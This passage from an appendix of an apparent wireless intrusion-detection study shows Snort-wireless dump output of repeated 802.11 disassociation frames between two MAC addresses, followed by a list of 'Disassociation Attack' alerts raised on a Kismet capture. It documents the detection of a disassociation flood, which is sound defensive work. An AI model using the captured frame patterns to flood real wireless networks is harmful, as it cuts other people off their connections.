0x0010: 00 00 00 00 00 00 60 87 05 00                    ......`...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:44.016132 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 60 87 05 00                    ......`...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:44.027240 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 60 87 05 00                    ......`...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:45.025326 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 87 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:45.037159 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 87 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:46.099355 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:47.044925 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:47.056909 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:47.177414 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:48.057024 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:49.208326 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 B0 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:50.075233 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:50.082794 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:50.128451 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:51.085146 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:52.094664 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:52.095358 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:52.097829 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 87 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:54.116572 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:54.118242 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:55.124681 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:55.145362 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:55.168564 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 10 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:56.134728 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 88 05 00                    ...... ...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:56.225654 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 20 88 05 00                    ...... ...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:57.144840 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 88 05 00                    ......0...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:57.194904 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 30 88 05 00                    ......0...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:58.154628 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 40 88 05 00                    ......@...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:59.164417 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 88 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:59.256221 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 88 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:09:59.257633 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 50 88 05 00                    ......P...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:00.176492 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 60 88 05 00                    ......`...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:01.276926 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 88 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:01.385279 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 70 88 05 00                    ......p...

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:02.357455 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 80 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:03.204716 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 90 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:04.214451 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:04.259551 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 A0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:05.237724 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 B0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:05.239096 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 B0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:06.234349 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:06.236179 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:06.238190 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 C0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:07.244386 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:07.247915 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:07.286664 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 D0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:08.254234 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags:

0x0000: A0 00 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:08.286364 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 E0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:09.267269 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:09.285939 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 F0 88 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

11/01-23:10:10.314207 Dissassoc. 0:11:95:75:23:9A -> 0:9:5B:83:F8:9C

bssid: 0:0:0:0:0:0 Flags: Re

0x0000: A0 08 02 01 00 09 5B 83 F8 9C 00 11 95 75 23 9A  ......[......u#.

0x0010: 00 00 00 00 00 00 00 89 05 00                    ..........

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

Run time for packet processing was 0.7915 seconds

===============================================================================

Snort processed 0 packets.
Appendix 4

Sample Alerts Generated by Snort-wireless during Interpretation of Dump File Created by Kismet
[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:36.936921 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:38.812559 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:38.815930 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:38.880704 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:39.822643 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:39.921190 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:40.960366 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:41.009903 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:41.842481 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:41.899648 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:42.859495 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:43.862126 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:43.897426 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:43.901230 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:44.899398 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:45.881965 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:45.885382 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:46.892068 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:46.900369 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:46.902618 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:47.902354 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:47.903322 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:48.916042 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:48.919235 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:49.922278 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:49.959914 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:50.009382 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:50.931763 

[**] [1:0:0] Disassociation Attack [**]

11/01-21:06:51.057371 
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